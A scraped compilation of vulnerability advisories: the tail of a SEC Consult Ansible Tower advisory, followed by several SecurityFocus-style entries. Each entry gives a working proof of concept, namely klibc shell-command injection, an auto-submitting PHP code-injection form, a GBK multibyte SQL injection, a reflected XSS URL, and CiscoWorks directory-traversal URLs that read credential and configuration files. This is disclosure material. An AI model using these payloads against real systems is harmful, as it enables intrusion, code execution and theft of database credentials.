            cryptographic material in order to securely send advisory.
2014-10-22: Sending unencrypted advisory as requested by vendor.
2014-10-22: Vendor suggests to release a fix prior to 12.12.2014
2014-10-28: Vendor confirms reported vulnerabilities
2014-12-10: Vendor releases fixed Version 2.0.5
2015-01-13: SEC Consult releases security advisory


Solution:
---------
Upgrade to a fixed version of Ansible Tower >= 2.0.5


Workaround:
-----------
For vulnerabilities 1 to 2, no workaround can be applied.
3 can be circumvented by blocking access to TCP port 8080 on your
Ansible Tower installation.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab

SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich

Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone:   +43 1 8903043 0
Fax:     +43 1 8903043 15

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

Interested to work with the experts of SEC Consult?
Write to career@sec-consult.com

EOF Manuel Hofer / 2015
HireHackking 
source: https://www.securityfocus.com/bid/47924/info

klibc is prone to a shell-command-execution vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary shell commands in the context of the application that uses the vulnerable library.

Versions prior to klibc 1.5.22 are vulnerable.

DNSDOMAIN="\\\"\$(echo owned; touch /tmp/owned)"
HireHackking 
source: https://www.securityfocus.com/bid/47918/info

Andy's PHP Knowledgebase is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected. 

<html>
    <body onload="document.forms[0].submit()"> 
        <form method="POST" action="http://localhost/aphpkb/install/step5.php">  
            <input type="hidden" name="install_dbuser" value="');system('calc');//" />   
            <input type="submit" name="submit" />   
        </form>   
    </body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/47919/info

Zend Framework is prone to a security-bypass vulnerability.

An attacker can leverage this vulnerability to bypass certain security restrictions. Successful exploits may allow attackers to exploit SQL-injection vulnerabilities.

Zend Framework versions prior to 1.10.9 and 1.11.6 are vulnerable. 

$dsn = 'mysql:dbname=INFORMATION_SCHEMA;host=127.0.0.1;charset=GBK';
$pdo = new PDO($dsn, $user, $pass);
$pdo->exec('SET NAMES GBK');
$string = chr(0xbf) . chr(0x27) . ' OR 1 = 1; /*';
$sql = "SELECT TABLE_NAME 
            FROM INFORMATION_SCHEMA.TABLES 
            WHERE TABLE_NAME LIKE ".$pdo->quote($string).";";
$stmt = $pdo->query($sql);
var_dump($stmt->rowCount());
HireHackking 
source: https://www.securityfocus.com/bid/47914/info

Room Juice is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Room Juice 0.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/roomjuice-0.3.3/display.php?filename=%3Cscript%3Ealert%280%29%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/47905/info

CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

This issue is being monitored by Cisco Bug ID CSCto35577.

CiscoWorks Common Services 3.3 and prior are vulnerable.

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties

Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
DB password change log:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\log\dbpwdChange.log